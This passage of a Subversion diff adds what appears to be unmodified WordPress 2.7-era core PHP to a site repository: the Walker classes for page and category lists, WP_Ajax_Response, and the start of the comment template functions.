+	 *
+	 * Display one element if the element doesn't have any children otherwise,
+	 * display the element and its children. Will only traverse up to the max
+	 * depth and no ignore elements under that depth. It is possible to set the
+	 * max depth to include all depths, see walk() method.
+	 *
+	 * This method shouldn't be called directly, use the walk() method instead.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param object $element Data object
+	 * @param array $children_elements List of elements to continue traversing.
+	 * @param int $max_depth Max depth to traverse.
+	 * @param int $depth Depth of current element.
+	 * @param array $args
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @return null Null on failure with no changes to parameters.
+	 */
+	function display_element( $element, &$children_elements, $max_depth, $depth=0, $args, &$output ) {
+
+		if ( !$element )
+			return;
+
+		$id_field = $this->db_fields['id'];
+
+		//display this element
+		if ( is_array( $args[0] ) )
+			$args[0]['has_children'] = ! empty( $children_elements[$element->$id_field] );
+		$cb_args = array_merge( array(&$output, $element, $depth), $args);
+		call_user_func_array(array(&$this, 'start_el'), $cb_args);
+
+		$id = $element->$id_field;
+
+		// descend only when the depth is right and there are childrens for this element
+		if ( ($max_depth == 0 || $max_depth > $depth+1 ) && isset( $children_elements[$id]) ) {
+
+			foreach( $children_elements[ $id ] as $child ){
+
+				if ( !isset($newlevel) ) {
+					$newlevel = true;
+					//start the child delimiter
+					$cb_args = array_merge( array(&$output, $depth), $args);
+					call_user_func_array(array(&$this, 'start_lvl'), $cb_args);
+				}
+				$this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output );
+			}
+			unset( $children_elements[ $id ] );
+		}
+
+		if ( isset($newlevel) && $newlevel ){
+			//end the child delimiter
+			$cb_args = array_merge( array(&$output, $depth), $args);
+			call_user_func_array(array(&$this, 'end_lvl'), $cb_args);
+		}
+
+		//end this element
+		$cb_args = array_merge( array(&$output, $element, $depth), $args);
+		call_user_func_array(array(&$this, 'end_el'), $cb_args);
+	}
+
+	/**
+	 * Display array of elements hierarchically.
+	 *
+	 * It is a generic function which does not assume any existing order of
+	 * elements. max_depth = -1 means flatly display every element. max_depth =
+	 * 0 means display all levels. max_depth > 0  specifies the number of
+	 * display levels.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $elements
+	 * @param int $max_depth
+	 * @return string
+	 */
+	function walk( $elements, $max_depth) {
+
+		$args = array_slice(func_get_args(), 2);
+		$output = '';
+
+		if ($max_depth < -1) //invalid parameter
+			return $output;
+
+		if (empty($elements)) //nothing to walk
+			return $output;
+
+		$id_field = $this->db_fields['id'];
+		$parent_field = $this->db_fields['parent'];
+
+		// flat display
+		if ( -1 == $max_depth ) {
+			$empty_array = array();
+			foreach ( $elements as $e )
+				$this->display_element( $e, $empty_array, 1, 0, $args, $output );
+			return $output;
+		}
+
+		/*
+		 * need to display in hierarchical order
+		 * seperate elements into two buckets: top level and children elements
+		 * children_elements is two dimensional array, eg.
+		 * children_elements[10][] contains all sub-elements whose parent is 10.
+		 */
+		$top_level_elements = array();
+		$children_elements  = array();
+		foreach ( $elements as $e) {
+			if ( 0 == $e->$parent_field )
+				$top_level_elements[] = $e;
+			else
+				$children_elements[ $e->$parent_field ][] = $e;
+		}
+
+		/*
+		 * when none of the elements is top level
+		 * assume the first one must be root of the sub elements
+		 */
+		if ( empty($top_level_elements) ) {
+
+			$first = array_slice( $elements, 0, 1 );
+			$root = $first[0];
+
+			$top_level_elements = array();
+			$children_elements  = array();
+			foreach ( $elements as $e) {
+				if ( $root->$parent_field == $e->$parent_field )
+					$top_level_elements[] = $e;
+				else
+					$children_elements[ $e->$parent_field ][] = $e;
+			}
+		}
+
+		foreach ( $top_level_elements as $e )
+			$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
+
+		/*
+		 * if we are displaying all levels, and remaining children_elements is not empty,
+		 * then we got orphans, which should be displayed regardless
+		 */
+		if ( ( $max_depth == 0 ) && count( $children_elements ) > 0 ) {
+			$empty_array = array();
+			foreach ( $children_elements as $orphans )
+				foreach( $orphans as $op )
+					$this->display_element( $op, $empty_array, 1, 0, $args, $output );
+		 }
+
+		 return $output;
+	}
+
+	/**
+ 	 * paged_walk() - produce a page of nested elements
+ 	 *
+ 	 * Given an array of hierarchical elements, the maximum depth, a specific page number,
+ 	 * and number of elements per page, this function first determines all top level root elements
+ 	 * belonging to that page, then lists them and all of their children in hierarchical order.
+ 	 *
+ 	 * @package WordPress
+ 	 * @since 2.7
+ 	 * @param $max_depth = 0  means display all levels; $max_depth > 0  specifies the number of display levels.
+ 	 * @param $page_num the specific page number, beginning with 1.
+ 	 * @return XHTML of the specified page of elements
+ 	 */
+	function paged_walk( $elements, $max_depth, $page_num, $per_page ) {
+
+		/* sanity check */
+		if ( empty($elements) || $max_depth < -1 )
+			return '';
+
+		$args = array_slice( func_get_args(), 4 );
+		$output = '';
+
+		$id_field = $this->db_fields['id'];
+		$parent_field = $this->db_fields['parent'];
+
+		$count = -1;
+		if ( -1 == $max_depth )
+			$total_top = count( $elements );
+		if ( $page_num < 1 || $per_page < 0  ) {
+			// No paging
+			$paging = false;
+			$start = 0;
+			if ( -1 == $max_depth )
+				$end = $total_top;
+			$this->max_pages = 1;
+		} else {
+			$paging = true;
+			$start = ( (int)$page_num - 1 ) * (int)$per_page;
+			$end   = $start + $per_page;
+			if ( -1 == $max_depth )
+				$this->max_pages = ceil($total_top / $per_page);
+		}
+
+		// flat display
+		if ( -1 == $max_depth ) {
+			if ( !empty($args[0]['reverse_top_level']) ) {
+				$elements = array_reverse( $elements );
+				$oldstart = $start;
+				$start = $total_top - $end;
+				$end = $total_top - $oldstart;
+			}
+
+			$empty_array = array();
+			foreach ( $elements as $e ) {
+				$count++;
+				if ( $count < $start )
+					continue;
+				if ( $count >= $end )
+					break;
+				$this->display_element( $e, $empty_array, 1, 0, $args, $output );
+			}
+			return $output;
+		}
+
+		/*
+		 * seperate elements into two buckets: top level and children elements
+		 * children_elements is two dimensional array, eg.
+		 * children_elements[10][] contains all sub-elements whose parent is 10.
+		 */
+		$top_level_elements = array();
+		$children_elements  = array();
+		foreach ( $elements as $e) {
+			if ( 0 == $e->$parent_field )
+				$top_level_elements[] = $e;
+			else
+				$children_elements[ $e->$parent_field ][] = $e;
+		}
+
+		$total_top = count( $top_level_elements );
+		if ( $paging )
+			$this->max_pages = ceil($total_top / $per_page);
+		else
+			$end = $total_top;
+
+		if ( !empty($args[0]['reverse_top_level']) ) {
+			$top_level_elements = array_reverse( $top_level_elements );
+			$oldstart = $start;
+			$start = $total_top - $end;
+			$end = $total_top - $oldstart;
+		}
+		if ( !empty($args[0]['reverse_children']) ) {
+			foreach ( $children_elements as $parent => $children )
+				$children_elements[$parent] = array_reverse( $children );
+		}
+
+		foreach ( $top_level_elements as $e ) {
+			$count++;
+
+			//for the last page, need to unset earlier children in order to keep track of orphans
+			if ( $end >= $total_top && $count < $start )
+					$this->unset_children( $e, $children_elements );
+
+			if ( $count < $start )
+				continue;
+
+			if ( $count >= $end )
+				break;
+
+			$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
+		}
+
+		if ( $end >= $total_top && count( $children_elements ) > 0 ) {
+			$empty_array = array();
+			foreach ( $children_elements as $orphans )
+				foreach( $orphans as $op )
+					$this->display_element( $op, $empty_array, 1, 0, $args, $output );
+		}
+
+		return $output;
+	}
+
+	function get_number_of_root_elements( $elements ){
+
+		$num = 0;
+		$parent_field = $this->db_fields['parent'];
+
+		foreach ( $elements as $e) {
+			if ( 0 == $e->$parent_field )
+				$num++;
+		}
+		return $num;
+	}
+
+	// unset all the children for a given top level element
+	function unset_children( $e, &$children_elements ){
+
+		if ( !$e || !$children_elements )
+			return;
+
+		$id_field = $this->db_fields['id'];
+		$id = $e->$id_field;
+
+		if ( !empty($children_elements[$id]) && is_array($children_elements[$id]) )
+			foreach ( (array) $children_elements[$id] as $child )
+				$this->unset_children( $child, $children_elements );
+
+		if ( isset($children_elements[$id]) )
+			unset( $children_elements[$id] );
+
+	}
+}
+
+/**
+ * Create HTML list of pages.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ * @uses Walker
+ */
+class Walker_Page extends Walker {
+	/**
+	 * @see Walker::$tree_type
+	 * @since 2.1.0
+	 * @var string
+	 */
+	var $tree_type = 'page';
+
+	/**
+	 * @see Walker::$db_fields
+	 * @since 2.1.0
+	 * @todo Decouple this.
+	 * @var array
+	 */
+	var $db_fields = array ('parent' => 'post_parent', 'id' => 'ID');
+
+	/**
+	 * @see Walker::start_lvl()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int $depth Depth of page. Used for padding.
+	 */
+	function start_lvl(&$output, $depth) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "\n$indent<ul>\n";
+	}
+
+	/**
+	 * @see Walker::end_lvl()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int $depth Depth of page. Used for padding.
+	 */
+	function end_lvl(&$output, $depth) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent</ul>\n";
+	}
+
+	/**
+	 * @see Walker::start_el()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $page Page data object.
+	 * @param int $depth Depth of page. Used for padding.
+	 * @param int $current_page Page ID.
+	 * @param array $args
+	 */
+	function start_el(&$output, $page, $depth, $args, $current_page) {
+		if ( $depth )
+			$indent = str_repeat("\t", $depth);
+		else
+			$indent = '';
+
+		extract($args, EXTR_SKIP);
+		$css_class = array('page_item', 'page-item-'.$page->ID);
+		if ( !empty($current_page) ) {
+			$_current_page = get_page( $current_page );
+			if ( isset($_current_page->ancestors) && in_array($page->ID, (array) $_current_page->ancestors) )
+				$css_class[] = 'current_page_ancestor';
+			if ( $page->ID == $current_page )
+				$css_class[] = 'current_page_item';
+			elseif ( $_current_page && $page->ID == $_current_page->post_parent )
+				$css_class[] = 'current_page_parent';
+		} elseif ( $page->ID == get_option('page_for_posts') ) {
+			$css_class[] = 'current_page_parent';
+		}
+
+		$css_class = implode(' ', apply_filters('page_css_class', $css_class, $page));
+
+		$output .= $indent . '<li class="' . $css_class . '"><a href="' . get_page_link($page->ID) . '" title="' . esc_attr(apply_filters('the_title', $page->post_title)) . '">' . $link_before . apply_filters('the_title', $page->post_title) . $link_after . '</a>';
+
+		if ( !empty($show_date) ) {
+			if ( 'modified' == $show_date )
+				$time = $page->post_modified;
+			else
+				$time = $page->post_date;
+
+			$output .= " " . mysql2date($date_format, $time);
+		}
+	}
+
+	/**
+	 * @see Walker::end_el()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $page Page data object. Not used.
+	 * @param int $depth Depth of page. Not Used.
+	 */
+	function end_el(&$output, $page, $depth) {
+		$output .= "</li>\n";
+	}
+
+}
+
+/**
+ * Create HTML dropdown list of pages.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ * @uses Walker
+ */
+class Walker_PageDropdown extends Walker {
+	/**
+	 * @see Walker::$tree_type
+	 * @since 2.1.0
+	 * @var string
+	 */
+	var $tree_type = 'page';
+
+	/**
+	 * @see Walker::$db_fields
+	 * @since 2.1.0
+	 * @todo Decouple this
+	 * @var array
+	 */
+	var $db_fields = array ('parent' => 'post_parent', 'id' => 'ID');
+
+	/**
+	 * @see Walker::start_el()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $page Page data object.
+	 * @param int $depth Depth of page in reference to parent pages. Used for padding.
+	 * @param array $args Uses 'selected' argument for selected page to set selected HTML attribute for option element.
+	 */
+	function start_el(&$output, $page, $depth, $args) {
+		$pad = str_repeat('&nbsp;', $depth * 3);
+
+		$output .= "\t<option class=\"level-$depth\" value=\"$page->ID\"";
+		if ( $page->ID == $args['selected'] )
+			$output .= ' selected="selected"';
+		$output .= '>';
+		$title = esc_html($page->post_title);
+		$output .= "$pad$title";
+		$output .= "</option>\n";
+	}
+}
+
+/**
+ * Create HTML list of categories.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ * @uses Walker
+ */
+class Walker_Category extends Walker {
+	/**
+	 * @see Walker::$tree_type
+	 * @since 2.1.0
+	 * @var string
+	 */
+	var $tree_type = 'category';
+
+	/**
+	 * @see Walker::$db_fields
+	 * @since 2.1.0
+	 * @todo Decouple this
+	 * @var array
+	 */
+	var $db_fields = array ('parent' => 'parent', 'id' => 'term_id');
+
+	/**
+	 * @see Walker::start_lvl()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int $depth Depth of category. Used for tab indentation.
+	 * @param array $args Will only append content if style argument value is 'list'.
+	 */
+	function start_lvl(&$output, $depth, $args) {
+		if ( 'list' != $args['style'] )
+			return;
+
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent<ul class='children'>\n";
+	}
+
+	/**
+	 * @see Walker::end_lvl()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int $depth Depth of category. Used for tab indentation.
+	 * @param array $args Will only append content if style argument value is 'list'.
+	 */
+	function end_lvl(&$output, $depth, $args) {
+		if ( 'list' != $args['style'] )
+			return;
+
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent</ul>\n";
+	}
+
+	/**
+	 * @see Walker::start_el()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $category Category data object.
+	 * @param int $depth Depth of category in reference to parents.
+	 * @param array $args
+	 */
+	function start_el(&$output, $category, $depth, $args) {
+		extract($args);
+
+		$cat_name = esc_attr( $category->name);
+		$cat_name = apply_filters( 'list_cats', $cat_name, $category );
+		$link = '<a href="' . get_category_link( $category->term_id ) . '" ';
+		if ( $use_desc_for_title == 0 || empty($category->description) )
+			$link .= 'title="' . sprintf(__( 'View all posts filed under %s' ), $cat_name) . '"';
+		else
+			$link .= 'title="' . esc_attr( strip_tags( apply_filters( 'category_description', $category->description, $category ) ) ) . '"';
+		$link .= '>';
+		$link .= $cat_name . '</a>';
+
+		if ( (! empty($feed_image)) || (! empty($feed)) ) {
+			$link .= ' ';
+
+			if ( empty($feed_image) )
+				$link .= '(';
+
+			$link .= '<a href="' . get_category_feed_link($category->term_id, $feed_type) . '"';
+
+			if ( empty($feed) )
+				$alt = ' alt="' . sprintf(__( 'Feed for all posts filed under %s' ), $cat_name ) . '"';
+			else {
+				$title = ' title="' . $feed . '"';
+				$alt = ' alt="' . $feed . '"';
+				$name = $feed;
+				$link .= $title;
+			}
+
+			$link .= '>';
+
+			if ( empty($feed_image) )
+				$link .= $name;
+			else
+				$link .= "<img src='$feed_image'$alt$title" . ' />';
+			$link .= '</a>';
+			if ( empty($feed_image) )
+				$link .= ')';
+		}
+
+		if ( isset($show_count) && $show_count )
+			$link .= ' (' . intval($category->count) . ')';
+
+		if ( isset($show_date) && $show_date ) {
+			$link .= ' ' . gmdate('Y-m-d', $category->last_update_timestamp);
+		}
+
+		if ( isset($current_category) && $current_category )
+			$_current_category = get_category( $current_category );
+
+		if ( 'list' == $args['style'] ) {
+			$output .= "\t<li";
+			$class = 'cat-item cat-item-'.$category->term_id;
+			if ( isset($current_category) && $current_category && ($category->term_id == $current_category) )
+				$class .=  ' current-cat';
+			elseif ( isset($_current_category) && $_current_category && ($category->term_id == $_current_category->parent) )
+				$class .=  ' current-cat-parent';
+			$output .=  ' class="'.$class.'"';
+			$output .= ">$link\n";
+		} else {
+			$output .= "\t$link<br />\n";
+		}
+	}
+
+	/**
+	 * @see Walker::end_el()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $page Not used.
+	 * @param int $depth Depth of category. Not used.
+	 * @param array $args Only uses 'list' for whether should append to output.
+	 */
+	function end_el(&$output, $page, $depth, $args) {
+		if ( 'list' != $args['style'] )
+			return;
+
+		$output .= "</li>\n";
+	}
+
+}
+
+/**
+ * Create HTML dropdown list of Categories.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ * @uses Walker
+ */
+class Walker_CategoryDropdown extends Walker {
+	/**
+	 * @see Walker::$tree_type
+	 * @since 2.1.0
+	 * @var string
+	 */
+	var $tree_type = 'category';
+
+	/**
+	 * @see Walker::$db_fields
+	 * @since 2.1.0
+	 * @todo Decouple this
+	 * @var array
+	 */
+	var $db_fields = array ('parent' => 'parent', 'id' => 'term_id');
+
+	/**
+	 * @see Walker::start_el()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $category Category data object.
+	 * @param int $depth Depth of category. Used for padding.
+	 * @param array $args Uses 'selected', 'show_count', and 'show_last_update' keys, if they exist.
+	 */
+	function start_el(&$output, $category, $depth, $args) {
+		$pad = str_repeat('&nbsp;', $depth * 3);
+
+		$cat_name = apply_filters('list_cats', $category->name, $category);
+		$output .= "\t<option class=\"level-$depth\" value=\"".$category->term_id."\"";
+		if ( $category->term_id == $args['selected'] )
+			$output .= ' selected="selected"';
+		$output .= '>';
+		$output .= $pad.$cat_name;
+		if ( $args['show_count'] )
+			$output .= '&nbsp;&nbsp;('. $category->count .')';
+		if ( $args['show_last_update'] ) {
+			$format = 'Y-m-d';
+			$output .= '&nbsp;&nbsp;' . gmdate($format, $category->last_update_timestamp);
+		}
+		$output .= "</option>\n";
+	}
+}
+
+/**
+ * Send XML response back to AJAX request.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ */
+class WP_Ajax_Response {
+	/**
+	 * Store XML responses to send.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $responses = array();
+
+	/**
+	 * PHP4 Constructor - Passes args to {@link WP_Ajax_Response::add()}.
+	 *
+	 * @since 2.1.0
+	 * @see WP_Ajax_Response::add()
+	 *
+	 * @param string|array $args Optional. Will be passed to add() method.
+	 * @return WP_Ajax_Response
+	 */
+	function WP_Ajax_Response( $args = '' ) {
+		if ( !empty($args) )
+			$this->add($args);
+	}
+
+	/**
+	 * Append to XML response based on given arguments.
+	 *
+	 * The arguments that can be passed in the $args parameter are below. It is
+	 * also possible to pass a WP_Error object in either the 'id' or 'data'
+	 * argument. The parameter isn't actually optional, content should be given
+	 * in order to send the correct response.
+	 *
+	 * 'what' argument is a string that is the XMLRPC response type.
+	 * 'action' argument is a boolean or string that acts like a nonce.
+	 * 'id' argument can be WP_Error or an integer.
+	 * 'old_id' argument is false by default or an integer of the previous ID.
+	 * 'position' argument is an integer or a string with -1 = top, 1 = bottom,
+	 * html ID = after, -html ID = before.
+	 * 'data' argument is a string with the content or message.
+	 * 'supplemental' argument is an array of strings that will be children of
+	 * the supplemental element.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|array $args Override defaults.
+	 * @return string XML response.
+	 */
+	function add( $args = '' ) {
+		$defaults = array(
+			'what' => 'object', 'action' => false,
+			'id' => '0', 'old_id' => false,
+			'position' => 1,
+			'data' => '', 'supplemental' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+		extract( $r, EXTR_SKIP );
+		$position = preg_replace( '/[^a-z0-9:_-]/i', '', $position );
+
+		if ( is_wp_error($id) ) {
+			$data = $id;
+			$id = 0;
+		}
+
+		$response = '';
+		if ( is_wp_error($data) ) {
+			foreach ( (array) $data->get_error_codes() as $code ) {
+				$response .= "<wp_error code='$code'><![CDATA[" . $data->get_error_message($code) . "]]></wp_error>";
+				if ( !$error_data = $data->get_error_data($code) )
+					continue;
+				$class = '';
+				if ( is_object($error_data) ) {
+					$class = ' class="' . get_class($error_data) . '"';
+					$error_data = get_object_vars($error_data);
+				}
+
+				$response .= "<wp_error_data code='$code'$class>";
+
+				if ( is_scalar($error_data) ) {
+					$response .= "<![CDATA[$error_data]]>";
+				} elseif ( is_array($error_data) ) {
+					foreach ( $error_data as $k => $v )
+						$response .= "<$k><![CDATA[$v]]></$k>";
+				}
+
+				$response .= "</wp_error_data>";
+			}
+		} else {
+			$response = "<response_data><![CDATA[$data]]></response_data>";
+		}
+
+		$s = '';
+		if ( is_array($supplemental) ) {
+			foreach ( $supplemental as $k => $v )
+				$s .= "<$k><![CDATA[$v]]></$k>";
+			$s = "<supplemental>$s</supplemental>";
+		}
+
+		if ( false === $action )
+			$action = $_POST['action'];
+
+		$x = '';
+		$x .= "<response action='{$action}_$id'>"; // The action attribute in the xml output is formatted like a nonce action
+		$x .=	"<$what id='$id' " . ( false === $old_id ? '' : "old_id='$old_id' " ) . "position='$position'>";
+		$x .=		$response;
+		$x .=		$s;
+		$x .=	"</$what>";
+		$x .= "</response>";
+
+		$this->responses[] = $x;
+		return $x;
+	}
+
+	/**
+	 * Display XML formatted responses.
+	 *
+	 * Sets the content type header to text/xml.
+	 *
+	 * @since 2.1.0
+	 */
+	function send() {
+		header('Content-Type: text/xml');
+		echo "<?xml version='1.0' standalone='yes'?><wp_ajax>";
+		foreach ( (array) $this->responses as $response )
+			echo $response;
+		echo '</wp_ajax>';
+		die();
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/comment-template.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/comment-template.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/comment-template.php	(revision 44)
@@ -0,0 +1,1376 @@
+<?php
+/**
+ * Comment template functions
+ *
+ * These functions are meant to live inside of the WordPress loop.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Retrieve the author of the current comment.
+ *
+ * If the comment has an empty comment_author field, then 'Anonymous' person is
+ * assumed.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'get_comment_author' hook on the comment author
+ *
+ * @return string The comment author
+ */
+function get_comment_author() {
+	global $comment;
+	if ( empty($comment->comment_author) ) {
+		if (!empty($comment->user_id)){
+			$user=get_userdata($comment->user_id);
+			$author=$user->user_login;
+		} else {
+			$author = __('Anonymous');
+		}
+	} else {
+		$author = $comment->comment_author;
+	}
+	return apply_filters('get_comment_author', $author);
+}
+
+/**
+ * Displays the author of the current comment.
+ *
+ * @since 0.71
+ * @uses apply_filters() Calls 'comment_author' on comment author before displaying
+ */
+function comment_author() {
+	$author = apply_filters('comment_author', get_comment_author() );
+	echo $author;
+}
+
+/**
+ * Retrieve the email of the author of the current comment.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls the 'get_comment_author_email' hook on the comment author email
+ * @uses $comment
+ *
+ * @return string The current comment author's email
+ */
+function get_comment_author_email() {
+	global $comment;
+	return apply_filters('get_comment_author_email', $comment->comment_author_email);
+}
+
+/**
+ * Display the email of the author of the current global $comment.
+ *
+ * Care should be taken to protect the email address and assure that email
+ * harvesters do not capture your commentors' email address. Most assume that
+ * their email address will not appear in raw form on the blog. Doing so will
+ * enable anyone, including those that people don't want to get the email
+ * address and use it for their own means good and bad.
+ *
+ * @since 0.71
+ * @uses apply_filters() Calls 'author_email' hook on the author email
+ */
+function comment_author_email() {
+	echo apply_filters('author_email', get_comment_author_email() );
+}
+
+/**
+ * Display the html email link to the author of the current comment.
+ *
+ * Care should be taken to protect the email address and assure that email
+ * harvesters do not capture your commentors' email address. Most assume that
+ * their email address will not appear in raw form on the blog. Doing so will
+ * enable anyone, including those that people don't want to get the email
+ * address and use it for their own means good and bad.
+ *
+ * @since 0.71
+ * @uses apply_filters() Calls 'comment_email' hook for the display of the comment author's email
+ * @uses get_comment_author_email_link() For generating the link
+ * @global object $comment The current Comment row object
+ *
+ * @param string $linktext The text to display instead of the comment author's email address
+ * @param string $before The text or HTML to display before the email link.
+ * @param string $after The text or HTML to display after the email link.
+ */
+function comment_author_email_link($linktext='', $before='', $after='') {
+	if ( $link = get_comment_author_email_link( $linktext, $before, $after ) )
+		echo $link;
+}
+
+/**
+ * Return the html email link to the author of the current comment.
+ *
+ * Care should be taken to protect the email address and assure that email
+ * harvesters do not capture your commentors' email address. Most assume that
+ * their email address will not appear in raw form on the blog. Doing so will
+ * enable anyone, including those that people don't want to get the email
+ * address and use it for their own means good and bad.
+ *
+ * @since 2.7
+ * @uses apply_filters() Calls 'comment_email' hook for the display of the comment author's email
+ * @global object $comment The current Comment row object
+ *
+ * @param string $linktext The text to display instead of the comment author's email address
+ * @param string $before The text or HTML to display before the email link.
+ * @param string $after The text or HTML to display after the email link.
+ */
+function get_comment_author_email_link($linktext='', $before='', $after='') {
+	global $comment;
+	$email = apply_filters('comment_email', $comment->comment_author_email);
+	if ((!empty($email)) && ($email != '@')) {
+	$display = ($linktext != '') ? $linktext : $email;
+		$return  = $before;
+		$return .= "<a href='mailto:$email'>$display</a>";
+	 	$return .= $after;
+		return $return;
+	} else {
+		return '';
+	}
+}
+
+/**
+ * Retrieve the html link to the url of the author of the current comment.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'get_comment_author_link' hook on the complete link HTML or author
+ *
+ * @return string Comment Author name or HTML link for author's URL
+ */
+function get_comment_author_link() {
+	/** @todo Only call these functions when they are needed. Include in if... else blocks */
+	$url    = get_comment_author_url();
+	$author = get_comment_author();
+
+	if ( empty( $url ) || 'http://' == $url )
+		$return = $author;
+	else
+		$return = "<a href='$url' rel='external nofollow' class='url'>$author</a>";
+	return apply_filters('get_comment_author_link', $return);
+}
+
+/**
+ * Display the html link to the url of the author of the current comment.
+ *
+ * @since 0.71
+ * @see get_comment_author_link() Echos result
+ */
+function comment_author_link() {
+	echo get_comment_author_link();
+}
+
+/**
+ * Retrieve the IP address of the author of the current comment.
+ *
+ * @since 1.5.0
+ * @uses $comment
+ * @uses apply_filters()
+ *
+ * @return unknown
+ */
+function get_comment_author_IP() {
+	global $comment;
+	return apply_filters('get_comment_author_IP', $comment->comment_author_IP);
+}
+
+/**
+ * Display the IP address of the author of the current comment.
+ *
+ * @since 0.71
+ * @see get_comment_author_IP() Echos Result
+ */
+function comment_author_IP() {
+	echo get_comment_author_IP();
+}
+
+/**
+ * Retrieve the url of the author of the current comment.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'get_comment_author_url' hook on the comment author's URL
+ *
+ * @return string
+ */
+function get_comment_author_url() {
+	global $comment;
+	$url = ('http://' == $comment->comment_author_url) ? '' : $comment->comment_author_url;
+	return apply_filters('get_comment_author_url', $url);
+}
+
+/**
+ * Display the url of the author of the current comment.
+ *
+ * @since 0.71
+ * @uses apply_filters()
+ * @uses get_comment_author_url() Retrieves the comment author's URL
+ */
+function comment_author_url() {
+	echo apply_filters('comment_url', get_comment_author_url());
+}
+
+/**
+ * Retrieves the HTML link of the url of the author of the current comment.
+ *
+ * $linktext parameter is only used if the URL does not exist for the comment
+ * author. If the URL does exist then the URL will be used and the $linktext
+ * will be ignored.
+ *
+ * Encapsulate the HTML link between the $before and $after. So it will appear
+ * in the order of $before, link, and finally $after.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls the 'get_comment_author_url_link' on the complete HTML before returning.
+ *
+ * @param string $linktext The text to display instead of the comment author's email address
+ * @param string $before The text or HTML to display before the email link.
+ * @param string $after The text or HTML to display after the email link.
+ * @return string The HTML link between the $before and $after parameters
+ */
+function get_comment_author_url_link( $linktext = '', $before = '', $after = '' ) {
+	$url = get_comment_author_url();
+	$display = ($linktext != '') ? $linktext : $url;
+	$display = str_replace( 'http://www.', '', $display );
+	$display = str_replace( 'http://', '', $display );
+	if ( '/' == substr($display, -1) )
+		$display = substr($display, 0, -1);
+	$return = "$before<a href='$url' rel='external'>$display</a>$after";
+	return apply_filters('get_comment_author_url_link', $return);
+}
+
+/**
+ * Displays the HTML link of the url of the author of the current comment.
+ *
+ * @since 0.71
+ * @see get_comment_author_url_link() Echos result
+ *
+ * @param string $linktext The text to display instead of the comment author's email address
+ * @param string $before The text or HTML to display before the email link.
+ * @param string $after The text or HTML to display after the email link.
+ */
+function comment_author_url_link( $linktext = '', $before = '', $after = '' ) {
+	echo get_comment_author_url_link( $linktext, $before, $after );
+}
+
+/**
+ * Generates semantic classes for each comment element
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $class One or more classes to add to the class list
+ * @param int $comment_id An optional comment ID
+ * @param int $post_id An optional post ID
+ * @param bool $echo Whether comment_class should echo or return
+ */
+function comment_class( $class = '', $comment_id = null, $post_id = null, $echo = true ) {
+	// Separates classes with a single space, collates classes for comment DIV
+	$class = 'class="' . join( ' ', get_comment_class( $class, $comment_id, $post_id ) ) . '"';
+	if ( $echo)
+		echo $class;
+	else
+		return $class;
+}
+
+/**
+ * Returns the classes for the comment div as an array
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $class One or more classes to add to the class list
+ * @param int $comment_id An optional comment ID
+ * @param int $post_id An optional post ID
+ * @return array Array of classes
+ */
+function get_comment_class( $class = '', $comment_id = null, $post_id = null ) {
+	global $comment_alt, $comment_depth, $comment_thread_alt;
+
+	$comment = get_comment($comment_id);
+
+	$classes = array();
+
+	// Get the comment type (comment, trackback),
+	$classes[] = ( empty( $comment->comment_type ) ) ? 'comment' : $comment->comment_type;
+
+	// If the comment author has an id (registered), then print the log in name
+	if ( $comment->user_id > 0 && $user = get_userdata($comment->user_id) ) {
+		// For all registered users, 'byuser'
+		$classes[] = 'byuser';
+		$classes[] = 'comment-author-' . sanitize_html_class($user->user_nicename, $comment->user_id);
+		// For comment authors who are the author of the post
+		if ( $post = get_post($post_id) ) {
+			if ( $comment->user_id === $post->post_author )
+				$classes[] = 'bypostauthor';
+		}
+	}
+
+	if ( empty($comment_alt) )
+		$comment_alt = 0;
+	if ( empty($comment_depth) )
+		$comment_depth = 1;
+	if ( empty($comment_thread_alt) )
+		$comment_thread_alt = 0;
+
+	if ( $comment_alt % 2 ) {
+		$classes[] = 'odd';
+		$classes[] = 'alt';
+	} else {
+		$classes[] = 'even';
+	}
+
+	$comment_alt++;
+
+	// Alt for top-level comments
+	if ( 1 == $comment_depth ) {
